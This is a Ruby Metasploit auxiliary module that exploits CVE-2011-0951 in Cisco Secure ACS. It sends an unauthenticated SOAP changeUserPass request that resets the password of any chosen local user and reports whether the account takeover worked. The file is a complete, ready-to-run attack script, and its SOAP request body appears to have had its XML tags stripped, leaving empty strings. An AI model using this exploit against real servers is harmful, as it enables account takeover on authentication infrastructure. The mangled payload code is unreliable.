## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit4 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner def initialize super( 'Name' => 'Cisco Secure ACS Unauthorized Password Change', 'Version' => '$Revision$', 'Description' => %q{ This module exploits an authentication bypass issue which allows arbitrary password change requests to be issued for any user in the local store. }, 'References' => [ ['BID', '47093'], ['CVE', 'CVE-2011-0951'], ['URL', 'http://www.cisco.com/en/US/products/csa/cisco-sa-20110330-acs.html'], ], 'Author' => [ 'Jason Kratzer', 'www.flinkd.org' ], 'License' => MSF_LICENSE ) register_options( [ Opt::RPORT(443), OptString.new('URI', [false, 'Path to UCP WebService', '/PI/services/UCP/']), OptString.new('USERNAME', [true, 'Username to use', '']), OptString.new('PASSWORD', [true, 'Password to use', '']), OptBool.new('SSL', [true, 'Use SSL', true],), ], self.class) end def rport datastore['RPORT'] end def run_host(ip) soapenv='http://schemas.xmlsoap.org/soap/envelope/' soapenvenc='http://schemas.xmlsoap.org/soap/encoding/' xsi='http://www.w3.org/1999/XMLSchema-instance' xsd='http://www.w3.org/1999/XMLSchema' ns1='ns1:changeUserPass' data = '' + "\r\n" data << '' + "\r\n" data << '' + "\r\n" data << '' + "\r\n" data << '' + datastore['USERNAME'] + '' + "\r\n" data << 'fakepassword' + "\r\n" data << '' + datastore['PASSWORD'] + '' + "\r\n" data << '' data << '' + "\r\n" data << '' + "\r\n\r\n" print_status("Issuing password change request for: " + datastore['USERNAME']) begin res = send_request_raw({ 'uri' => "/#{datastore['URI']}", 'method' => 'POST', 'data' => data, 'headers' => { 'Content-Length' => data.length, 'SOAPAction' => '"changeUserPass"', 'Content-Type' => 'text/xml; charset=UTF-8', } }, 60) rescue ::Rex::ConnectionError print_error("#{rhost}:#{rport} [ACS] Unable to communicate") return :abort end if not res print_error("#{rhost}:#{rport} [ACS] Unable to connect") return elsif res.code == 200 body = res.body if body.match(/success/i) print_good("#{rhost} - Success! Password has been changed.") elsif body.match(/Password has already been used/) print_error("#{rhost} - Failed! The supplied password has already been used.") print_error("Please change the password and try again.") elsif body.match(/Invalid credntials for user/) print_error("#{rhost} - Failed! Either the username does not exist or target is not vulnerable.") print_error("Please change the username and try again.") else print_error("#{rhost} - Failed! An unexpected error has occurred.") end end end end